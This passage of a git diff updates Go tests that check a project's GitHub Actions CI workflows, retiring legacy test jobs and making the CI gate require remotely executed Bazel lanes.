354db638c..491dba18d 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -129,7 +129,7 @@ func TestMergeQueueRequiredGatesRunOnMergeGroup(t *testing.T) { event := regexp.MustCompile(`github\.event_name|github\.event\.|github\.base_ref|github\.head_ref`) for jobName, job := range w.Jobs { if event.MatchString(job.If) { - t.Errorf("%s job %s if %q keys on the event; decide in a job (detect-ci-tier, bazel-coverage) and read its outputs", name, jobName, job.If) + t.Errorf("%s job %s if %q keys on the event; decide in a job (bazel.yml's rbe job) and read its outputs", name, jobName, job.If) } for _, step := range job.Steps { if event.MatchString(step.If) { @@ -186,19 +186,14 @@ func TestMergeQueueConcurrencyNeverCancelsQueueRuns(t *testing.T) { func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { // path suffix (workflow:YAML path) -> why null on merge_group is right. nullOK := map[string]string{ - "pr.yml:.concurrency.group": "falls back to github.ref (TestMergeQueueConcurrencyNeverCancelsQueueRuns)", - "pr-risk.yml:.concurrency.group": "falls back to github.ref", - "bazel.yml:.concurrency.group": "falls back to github.ref", - "bazel-coverage.steps[0].env.FORK": "null == true is false: a merge group is never a fork (bazel.yml's rbe job's expression, verbatim)", - "rbe.steps[0].env.FORK": "null == true is false: a merge group is never a fork", - "rbe.steps[0].env.PR_NUMBER": "read only for fork/Dependabot pull_request runs (the rbe-fork mint)", - ".env.RBE_FORK_PR": "setup-bazel reads it only in the fork modes, which a merge group never takes", - "detect-ci-tier.steps[1].env.PR_BASE_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", - "detect-ci-tier.steps[1].env.PR_HEAD_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", - "detect-ci-tier.steps[2].env.PR_BASE_SHA": "advisory shadow selector; merge_group selects everything", - "detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything", - "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", - "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + "pr.yml:.concurrency.group": "falls back to github.ref (TestMergeQueueConcurrencyNeverCancelsQueueRuns)", + "pr-risk.yml:.concurrency.group": "falls back to github.ref", + "bazel.yml:.concurrency.group": "falls back to github.ref", + "rbe.steps[0].env.FORK": "null == true is false: a merge group is never a fork", + "rbe.steps[0].env.PR_NUMBER": "read only for fork/Dependabot pull_request runs (the rbe-fork mint)", + ".env.RBE_FORK_PR": "setup-bazel reads it only in the fork modes, which a merge group never takes", + "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", // bazel.yml's CI analytics summary step (rbe-ci-bep-analytics- // design.md, S3), one entry per lane job (ciAnalyticsLaneJobs in // ci_analytics_workflow_test.go) rather than a bare "steps[*]...", @@ -260,39 +255,13 @@ func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { } } -// D2 on merge_group: both workflows' bazel-coverage decision, with its env -// evaluated by evalGHExpr for a merge group, retires every flagged legacy -// tier (the Bazel lanes cover them), and bazel.yml's rbe step, evaluated the -// same way, takes mode remote with the CI secrets, so pr.yml's gate requires -// those lanes to have run remotely and passed. Without the secret or with -// the farm switch off the mode is cache or skip, and the gate is red -// (TestPRRiskDecisionMatchesBazelMode's named merge_group cases). -func TestMergeQueueBazelCoversRetiredTiers(t *testing.T) { +// Merge groups: bazel.yml's rbe step, evaluated by evalGHExpr for a merge +// group, takes mode remote with the CI secrets, so pr.yml's gate (which +// requires every lane to have run remotely, BAZEL_REMOTE) can pass. Without +// the secret or with the farm switch off the mode is cache or skip, and the +// gate is red (TestPRGateRequiresRemoteBazelLanes). +func TestMergeQueueBazelRunsRemotely(t *testing.T) { requireHostTool(t, "bash") - for _, name := range []string{"pr.yml", prRiskWorkflowName} { - step := coverageStep(t, name) - ctx := mergeGroupCtx(1, nil) - for k, v := range workflowEnv(t, name) { - ctx["env."+k] = v - } - env := map[string]string{} - for k, v := range step.Env { - env[k] = interpolateGH(t, v, ctx) - } - if env["MERGE_GROUP"] != "true" || env["PULL_REQUEST"] != "false" || env["FORK"] != "false" || env["DEPENDABOT"] != "false" { - t.Errorf("%s bazel-coverage env on merge_group = %v", name, env) - } - out, err := runBazelRBEDecision(t, step.Run, env) - if err != nil { - t.Fatalf("%s bazel-coverage on merge_group: %v", name, err) - } - for _, r := range retiredTiers { - want := strconv.FormatBool(ctx["env."+r.flag] == "true") - if out[r.output] != want { - t.Errorf("%s bazel-coverage %s on merge_group = %q, want %s (flag %s %q)", name, r.output, out[r.output], want, r.flag, ctx["env."+r.flag]) - } - } - } rbe := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) for _, c := range []struct { name, varOn, secret, mode string diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ede9ca629..32c7123cd 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -28,7 +28,7 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { "make ci-pr-policy", "make ci-pr-lint", } { - for _, step := range workflow.job(t, "build-artifacts").Steps { + for _, step := range workflow.Jobs["build-artifacts"].Steps { if strings.Contains(step.Run, forbidden) { t.Errorf("build-artifacts runs %q in step %q", forbidden, step.Name) } @@ -277,31 +277,20 @@ func readGoreleaserBuilds(t *testing.T) []goreleaserBuild { return config.Builds } +// Exclude read-permission coverage is required, not best effort: Bazel's +// PR-core lane (bazel.yml's `test`, the only PR run of PR Core's tests) +// requires it, and pr.yml's gate requires that lane. func TestPRCoreRequiresExcludeReadPermissionCoverage(t *testing.T) { - workflow := readCIWorkflow(t, "pr.yml") - job := workflow.job(t, "pr-core-wrapper") - // Its only condition is D2 step 3's stand-down, where Bazel's PR-core - // lane (required instead) runs the test with the same requirement. - if job.RunsOn != "ubuntu-latest" || job.If != prLaneLegacyIf || job.ContinueOnError { - t.Error("exclude permission coverage must remain in the required Linux PR Core job") - } if !contains(bazelPRLaneRCLines["prcore"], "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1") { - t.Error("Bazel's PR-core lane must require actual exclude read-permission coverage where PR Core stands down") + t.Error("Bazel's PR-core lane must require actual exclude read-permission coverage") } - step := job.Steps[job.stepIndex(t, "Run PR core wrapper")] - if step.If != "" || (step.ContinueOnError != nil && step.ContinueOnError != false) || strings.TrimSpace(step.Run) != "make ci-pr-core" { - t.Error("exclude permission coverage must run through the nonoptional PR Core wrapper") - } - if step.Env["BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION"] != "1" { - t.Error("PR Core must require actual exclude read-permission coverage") - } - gate := workflow.job(t, "ci-gate") + gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") evaluate := gate.step(t, "Evaluate CI gate") if gate.If != "${{ always() }}" || gate.ContinueOnError || evaluate.If != "" || (evaluate.ContinueOnError != nil && evaluate.ContinueOnError != false) { - t.Error("CI gate must propagate required PR Core failures") + t.Error("CI gate must propagate required Bazel PR-core failures") } - if !contains(gate.Needs, "pr-core-wrapper") || evaluate.Env["PR_CORE_WRAPPER"] != "${{ needs.pr-core-wrapper.result }}" || !contains(strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]), "PR_CORE_WRAPPER") { - t.Error("CI gate must require the PR Core result") + if !contains(gate.Needs, "bazel") || !contains(strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]), "BAZEL_TEST") { + t.Error("CI gate must require the Bazel PR-core lane (BAZEL_TEST)") } } @@ -637,82 +626,6 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { } } -func TestPRCIGateRequiresJSWasmHookExecution(t *testing.T) { - workflow := readCIWorkflow(t, "pr.yml") - job := workflow.job(t, "check-cmd-bd-puregeo-tests") - if job.RunsOn != "ubuntu-latest" { - t.Errorf("js/wasm hook job runs-on = %q, want ubuntu-latest", job.RunsOn) - } - // Only D2 step 3's stand-down, where Bazel's pure-Go and js/wasm lane - // (TestBazelPureJobMirrorsPureGoJob) is required instead - // (TestPRLegacyLanesDeferToBazelLanes). - if job.If != prLaneLegacyIf { - t.Errorf("js/wasm hook job is conditional: %q", job.If) - } - - setupGo := job.step(t, "Set up Go") - if setupGo.Uses != setupGoActionFamily+"@"+setupGoSHA { - t.Errorf("setup-go action = %q", setupGo.Uses) - } - if setupGo.With["go-version-file"] != "go.mod" || setupGo.With["cache"] != "false" { - t.Errorf("setup-go inputs = %v", setupGo.With) - } - - setupNode := job.step(t, "Set up Node.js") - if setupNode.Uses != setupNodeActionFamily+"@"+setupNodeSHA { - t.Errorf("setup-node action = %q", setupNode.Uses) - } - if setupNode.With["node-version"] != "24" { - t.Errorf("setup-node version = %q, want 24", setupNode.With["node-version"]) - } - - execute := job.step(t, "Run js/wasm hook boundary") - if execute.If != "" { - t.Errorf("js/wasm hook step is conditional: %q", execute.If) - } - for key, want := range map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "wasm", - "GOOS": "js", - } { - got, ok := execute.Env[key] - if !ok || got != want { - t.Errorf("js/wasm hook env %s = %q (present=%v), want %q", key, got, ok, want) - } - } - for _, required := range []string{ - `go test -tags gms_pure_go -count=1 -timeout=2m`, - `-exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec"`, - `-run '^TestRunHookReportsUnsupportedExecution$'`, - `-v ./internal/hooks`, - `|| test_status=$?`, - `=== RUN TestRunHookReportsUnsupportedExecution`, - `^--- PASS: TestRunHookReportsUnsupportedExecution`, - `nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): '`, - `[[ "$line" =~ $nonpass_pattern ]]`, - `run_count != 1 || pass_count != 1 || nonpass_count != 0`, - } { - if !strings.Contains(execute.Run, required) { - t.Errorf("js/wasm hook command does not contain %q", required) - } - } - if regexp.MustCompile(`\bgo1\.[0-9]`).MatchString(execute.Run) { - t.Errorf("js/wasm hook command duplicates the Go version owned by go.mod") - } - - gate := workflow.job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "check-cmd-bd-puregeo-tests") { - t.Errorf("ci-gate does not require js/wasm hook job: %v", gate.Needs) - } - if got := gateEnv["CHECK_CMD_BD_PUREGEO_TESTS"]; got != "${{ needs.check-cmd-bd-puregeo-tests.result }}" { - t.Errorf("ci-gate js/wasm hook result = %q", got) - } - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "CHECK_CMD_BD_PUREGEO_TESTS") { - t.Errorf("ci-gate required set omits js/wasm hook job") - } -} - func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { const ( jobName = "pr-preflight-platforms" @@ -1015,12 +928,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { saveBuildCacheDayBucketedAfterFailureIf("non-race", ""), }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "build-artifacts"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("non-race"), - }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("race"), - }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) @@ -1057,9 +964,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-preflight-platforms"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - assertGoCacheInventory(t, workflows["pr-risk.yml"].job(t, "build-embedded"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("race"), restoreBuildCache("non-race"), - }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "build-artifacts": true, "test": true, "test-windows": true, @@ -1075,20 +979,18 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "blacksmith-setup-go-cache": true, }, "pr.yml": { - "build-artifacts": true, "pr-core-wrapper": true, "worktree-remove-windows": true, + "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, "windows-test-binaries": true, "test-windows-liveness": true, }, - "pr-risk.yml": {"build-embedded": true}, + "pr-risk.yml": {}, }) mainArtifacts := workflows["main.yml"].job(t, "build-artifacts") assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - embeddedRaceBuilds := []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} - mainTest := workflows["main.yml"].job(t, "test") assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) @@ -1099,10 +1001,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainWindows, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build (pure Go regex)"}) assertStepsBefore(t, mainWindows, []string{"Build (pure Go regex)", "Smoke test - version", "Smoke test - help"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "build-artifacts"), - []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), - []string{"Restore Go module cache", "Restore race Go build cache"}, []string{"Run PR core wrapper"}) prXCompile := workflows["pr.yml"].job(t, "windows-test-binaries") assertStepsBefore(t, prXCompile, []string{"Restore Go module cache"}, []string{"Verify Go module checksums", "Build Windows test binaries"}) assertStepsBefore(t, prXCompile, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) @@ -1122,27 +1020,13 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, workflows["pr.yml"].job(t, "advisory-reports"), []string{"Restore Go module cache"}, []string{"Type-check every module under examples/"}) - prRiskEmbedded := workflows["pr-risk.yml"].job(t, "build-embedded") - prRiskNonRaceBuilds := []string{"Build proxied bd subprocess binary", "Build server Dolt conformance test binary"} - assertStepsBefore(t, prRiskEmbedded, []string{"Restore Go module cache"}, append(append([]string{}, embeddedRaceBuilds...), prRiskNonRaceBuilds...)) - assertStepsBefore(t, prRiskEmbedded, []string{"Restore race Go build cache"}, embeddedRaceBuilds) - assertStepsBefore(t, prRiskEmbedded, []string{"Restore non-race Go build cache"}, prRiskNonRaceBuilds) - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), "Run PR core wrapper", "race") assertGoCacheEnv(t, workflows["pr.yml"].job(t, "windows-test-binaries"), "Build Windows test binaries", xcompileCacheProfile()) assertGoCacheEnv(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), "Run native Windows worktree removal boundary tests", "non-race") - for _, stepName := range []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} { - assertGoCacheEnv(t, workflows["pr-risk.yml"].job(t, "build-embedded"), stepName, "race") - } - for _, stepName := range []string{"Build proxied bd subprocess binary", "Build server Dolt conformance test binary"} { - assertGoCacheEnv(t, workflows["pr-risk.yml"].job(t, "build-embedded"), stepName, "non-race") - } for _, workflowName := range []string{"pr.yml", "pr-risk.yml"} { for jobName, job := range workflows[workflowName].Jobs { for _, step := range job.Steps { @@ -1171,14 +1055,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, {"main.yml", "blacksmith-macos-go-build-cache"}, - {"pr.yml", "build-artifacts"}, - {"pr.yml", "pr-core-wrapper"}, {"pr.yml", "windows-test-binaries"}, {"pr.yml", "worktree-remove-windows"}, {"pr.yml", "check-doc-freshness-platforms"}, {"pr.yml", "pr-preflight-platforms"}, {"pr.yml", "advisory-reports"}, - {"pr-risk.yml", "build-embedded"}, } { if got := workflows[target.workflow].job(t, target.job).step(t, "Set up Go").ID; got != "setup-go" { t.Errorf("%s job %q setup-go id = %q, want setup-go", target.workflow, target.job, got) @@ -1214,92 +1095,13 @@ func TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections(t *testing.T) { } } -// TestPRRiskGateReachesFullServerDoltStorageSuite is the regression test for -// be-aiy5: test-server-storage already keeps a live Dolt server up (via -// build-embedded's /tmp/dolt-conformance-test binary, which compiles every -// top-level test in package internal/storage/dolt, not just conformance), -// but restricts execution to -test.run '^TestConformance$'. Every other -// server-gated test in that same binary -- TestCreateGuard_*, -// TestFederationPeerCredentialLifecycleLazyKeyInit, and diff-owned tests -// such as TestBenchDBPurgeDoesNotLeak on PR #5792 -- is reached by no -// PR-triggered lane, so it silently SKIPs instead of producing a real -// PASS/FAIL. A sibling job must run everything else in the same binary -// against the same live server, without a new build step, and must be wired -// into ci-gate as required so a SKIP there can no longer hide behind green. -func TestPRRiskGateReachesFullServerDoltStorageSuite(t *testing.T) { - const jobName = "test-server-storage-full" - - workflow := readCIWorkflow(t, "pr-risk.yml") - job := workflow.job(t, jobName) - - if job.RunsOn != "ubuntu-latest" { - t.Errorf("%s runs-on = %q, want ubuntu-latest", jobName, job.RunsOn) - } - if job.TimeoutMinutes != 20 { - t.Errorf("%s timeout = %d minutes, want 20 (matches test-server-storage)", jobName, job.TimeoutMinutes) - } - if !contains(job.Needs, "detect-ci-tier") || !contains(job.Needs, "build-embedded") { - t.Errorf("%s needs = %v, want detect-ci-tier and build-embedded (reuse the existing artifact, no new build)", jobName, job.Needs) - } - if sibling := workflow.job(t, "test-server-storage").If; job.If != sibling || !strings.HasPrefix(job.If, "needs.detect-ci-tier.outputs.full_embedded == 'true'") { - t.Errorf("%s if = %q, want the same tier gate as test-server-storage (%q)", jobName, job.If, sibling) - } - - download := job.step(t, "Download binaries") - if download.With["name"] != "embedded-test-binaries" { - t.Errorf("%s does not download the existing embedded-test-binaries artifact (would require a new build step): %v", jobName, download.With) - } - - // Pro-rata against the embedded lane (75 shard-minutes / 324 tests): - // 1126 tests at the same per-test cost is ~260 shard-minutes; 16 shards - // x 15m = 240 shard-minutes, with the ~9.5-minute TestCloudAuthCLIRouting - // outlier isolated on its own shard via the shard manifest. - const totalShards = 16 - wantShards := make([]int, totalShards) - for i := range wantShards { - wantShards[i] = i + 1 - } - if !reflect.DeepEqual(job.Strategy.Matrix.Shard, wantShards) { - t.Errorf("%s strategy.matrix.shard = %v, want %v", jobName, job.Strategy.Matrix.Shard, wantShards) - } - if job.Strategy.FailFast { - t.Errorf("%s strategy.fail-fast = true, want false (one slow/flaky shard should not cancel the others)", jobName) - } - - wantTestCommand := fmt.Sprintf("bash .github/scripts/server-storage-test-shard.sh ${{ matrix.shard }} %d", totalShards) - assertStepRunsExactly(t, job, "Test", wantTestCommand) - // federation_test.go Fatals instead of silently skipping when this is set - // and the server it expects isn't reachable -- this job's whole point is - // a real PASS/FAIL, not a hidden self-skip if its own setup regresses. - assertStepEnvValue(t, job, "Test", "BEADS_TEST_ENV_RUN_DOLT", "1") - - // test-server-storage itself is untouched: conformance keeps its own - // dedicated job and timeout budget; this is an additive sibling, not a - // widened filter on the existing job. - existing := workflow.job(t, "test-server-storage") - assertStepRunsExactly(t, existing, "Test", `/tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$'`) - - gate := workflow.job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - const gateKey = "TEST_SERVER_STORAGE_FULL" - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate does not need %q: %v", jobName, gate.Needs) - } - if got, want := gateEnv[gateKey], fmt.Sprintf("${{ needs.%s.result }}", jobName); got != want { - t.Errorf("ci-gate env %s = %q, want %q", gateKey, got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), gateKey) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", gateKey) - } -} - func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) { // pr4107_corruption_test.go and journal_scope_completeness_test.go use // paths relative to internal/storage/dolt (e.g. ../schema/migrations, // ../issueops). `go test` runs a package's tests with cwd = the package // dir, so those resolve; a prebuilt test binary inherits the invoking // shell's cwd instead. server-storage-test-shard.sh is invoked from the - // repo root (see TestPRRiskGateReachesFullServerDoltStorageSuite above), + // repo root (//internal/storage/dolt's server-storage variants), // so the prebuilt-binary branch must cd into the package dir itself, // immediately before exec -- any earlier and it breaks the repo-root- // relative manifest/discovery above it; any later, or absent, and the 6 @@ -1353,7 +1155,7 @@ func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) if cdIndex < 0 { t.Fatal(`script does not "cd internal/storage/dolt" before running the prebuilt binary -- ` + `relative-path tests (../schema/migrations, ../issueops) will fail when this script ` + - `is invoked from the repo root, as pr-risk.yml's test-server-storage-full job does`) + `is invoked from the repo root, as //internal/storage/dolt:dolt_server_full_test does`) } if cdIndex <= discoveryIndex { t.Fatalf("cd internal/storage/dolt at line %d is at or before the repo-root-relative test "+ @@ -2559,7 +2361,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // F7b's scope, not this one). windows-test-binaries is F4's Linux // mingw cross-compile job, sized at 8vcpu. "pr.yml": { - "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, + "ci-gate": sameRepoBlacksmith2vcpu, "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, @@ -2591,7 +2393,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "pr-preflight-platforms": sameRepoPlatformsMatrixMarkerRunsOn, }, "pr-risk.yml": { - "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, "detect-ci-tier": sameRepoBlacksmith2vcpu, + "ci-gate": sameRepoBlacksmith2vcpu, "test-nix": sameRepoBlacksmith4vcpu, }, bazelWorkflowName: {bazelRBEJobName: wantRBERunsOn}, @@ -3019,10 +2821,11 @@ func readBazelWorkflowCall(t *testing.T) bazelWorkflowCall { return doc.On.WorkflowCall } -// Slice D1: pr.yml calls bazel.yml once per PR and merge group, and its -// ci-gate requires the Bazel lanes in addition to (not instead of) the legacy -// jobs they mirror, which stay required in pr.yml and pr-risk.yml. -func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { +// pr.yml calls bazel.yml once per PR and merge group, and its ci-gate +// requires the Bazel lanes, which are the only run of the Linux Go test tiers +// (ga-96smfk.22 retired the legacy jobs they mirrored in pr.yml and +// pr-risk.yml). +func TestBazelLaneIsGated(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) call := readBazelWorkflowCall(t) @@ -3172,11 +2975,8 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { if !contains(gate.Needs, "bazel") { t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) } - // Plus D2's decision and retirement checks (TestPRRiskDecisionMatchesBazelMode). - wantBazelIDs := []string{bazelAggregateGateID, prRiskCoverageGateID} - for _, r := range retiredTiers { - wantBazelIDs = append(wantBazelIDs, r.retiredID) - } + // Plus the remote-execution check (TestPRGateRequiresRemoteBazelLanes). + wantBazelIDs := []string{bazelAggregateGateID, bazelRemoteGateID} for lane, id := range bazelLaneGateIDs { // F3: package-mcp/package-npm's ids (PACKAGE_MCP, PACKAGE_NPM) do not // follow the "BAZEL" naming convention the prefix filter below @@ -3256,26 +3056,16 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } } - // Legacy jobs stay required: D1 adds, D2 removes. (D2 lets - // pr-risk.yml's embedded, proxied and server Dolt test jobs, and - // build-embedded, skip where the gated lanes run remotely, but they stay - // required ids: TestPRRiskLegacyTiersDeferToBazelLanes.) - for id, job := range map[string]string{ - "BUILD_ARTIFACTS": "build-artifacts", - "PR_CORE_WRAPPER": "pr-core-wrapper", - "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", - } { - if !contains(required, id) || !contains(gate.Needs, job) { - t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) + // The retired legacy jobs stay retired: nothing in pr.yml or + // pr-risk.yml runs the Go test tiers beside the Bazel lanes. + for _, job := range []string{"build-artifacts", "pr-core-wrapper", "check-cmd-bd-puregeo-tests", "bazel-coverage"} { + if _, ok := pr.Jobs[job]; ok || contains(gate.Needs, job) { + t.Errorf("pr.yml has retired job %s; the Bazel lanes run its tests", job) } } risk := readCIWorkflow(t, "pr-risk.yml") - riskGate := risk.job(t, "ci-gate") - riskRequired := strings.Fields(riskGate.step(t, "Evaluate CI gate").Env["CI_GATE_REQUIRED"]) - for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD", "TEST_PROXIED_CMD", "TEST_SERVER_STORAGE", "TEST_SERVER_STORAGE_FULL"} { - if !contains(riskRequired, id) { - t.Errorf("pr-risk.yml ci-gate no longer requires legacy %s", id) - } + if got := sortedKeys(risk.Jobs); !reflect.DeepEqual(got, []string{"ci-gate", "test-nix"}) { + t.Errorf("pr-risk.yml jobs = %v, want only [ci-gate test-nix]; the Bazel lanes in pr.yml run the Go test tiers", got) } // PR Risk does not run the lane a second time. for jobName, job := range risk.Jobs { @@ -3386,13 +3176,7 @@ type bazelGateScenario struct { mode, enabled string // the call's rbe-mode / rbe-enabled outputs call string // needs.bazel.result outputs map[string]string // the lanes' outputs ("" = not reported) - // pr.yml's bazel-coverage job (D2): its outputs, per retiredTiers - // output name ("" = not reported), and its result ("" = success). - covered map[string]string - coverage string - // Non-Bazel needs' results that differ from what the jobs' if: give - // (success, or skipped for pr.yml's legacy jobs that bazel-coverage - // retired, D2 step 3). + // Non-Bazel needs' results that differ from success. results map[string]string // pr.yml's top-level flags the run script reads (the workflow env is // not part of the step's env): bazelFlagGatedLanes' flags. @@ -3436,20 +3220,6 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo } var got string switch { - case m[1] == prRiskCoverageJobName && m[2] == "result": - got = sc.coverage - if got == "" { - got = "success" - } - case m[1] == prRiskCoverageJobName: - known := false - for _, r := range retiredTiers { - known = known || r.output == m[3] - } - if !known { - t.Fatalf("ci-gate env %s = %q: %s has no such tier output", key, value, prRiskCoverageJobName) - } - got = sc.covered[m[3]] case m[1] == "fast-checks" && m[2] != "result": // F7a: fast-checks folds five formerly-standalone jobs into one // job's steps; ci-gate reads each step's outcome via the job's @@ -3490,10 +3260,10 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo // The gate over every execution mode (review D1 F3): the skip script allows // exactly the skips the lanes' own `if:`s produce in that mode, and for every // lane that should run, that lane alone skipped, failed or cancelled turns -// pr.yml's actual gate step red, whatever the aggregate says (in mode remote -// that includes the integration lane, which skips green in mode local); a -// missing or inconsistent mode, or an aggregate failure no lane explains, -// turns it red. +// pr.yml's actual gate step red, whatever the aggregate says; a missing or +// inconsistent mode, or an aggregate failure no lane explains, turns it red; +// and a mode that did not execute the lanes on rbe-west (skip, local, cache) +// is red even when everything that ran passed (BAZEL_REMOTE). func TestBazelGateSimulation(t *testing.T) { requireHostTool(t, "bash") root := sourceRepoRoot(t) @@ -3590,6 +3360,15 @@ func TestBazelGateSimulation(t *testing.T) { committedFlags[g.flag] = pr.Env[g.flag] } scFlags := func(name, call string, outputs map[string]string, flags map[string]string, pass bool, mention string) { + // The lanes are the Linux Go test tiers' only run: a mode that + // executed nothing on rbe-west is red whatever else holds + // (BAZEL_REMOTE, TestPRGateRequiresRemoteBazelLanes). + if !bazelRemoteModes[mode] { + if pass || mention == "" { + mention = bazelRemoteGateID + } + pass = false + } all := copyMap(committedFlags) for k, v := range flags { all[k] = v @@ -3992,26 +3771,25 @@ func TestBazelWorkflowRunsCIConfigWithReports(t *testing.T) { // (artifact name, file names, checksum file, retention), so the jobs that // download ci-build-artifacts can switch to it without other edits. func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { - var prUpload ciWorkflowStep - for _, step := range readCIWorkflow(t, "pr.yml").job(t, "build-artifacts").Steps { - if actionFamily(step.Uses) == "actions/upload-artifact" { - prUpload = step - } - } + // The layout and upload settings of the retired build-artifacts job + // (ga-96smfk.22), which bazel-test's artifact replaced. + prUpload := ciWorkflowStep{With: map[string]string{ + "name": "ci-build-artifacts", + "retention-days": "1", + "if-no-files-found": "error", + }} job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) pkg := job.step(t, "Package bd (ci-build-artifacts layout)") upload := job.step(t, "Upload build artifacts") - // Named by the build-artifact-name input, pr.yml's name by default; the - // run inside 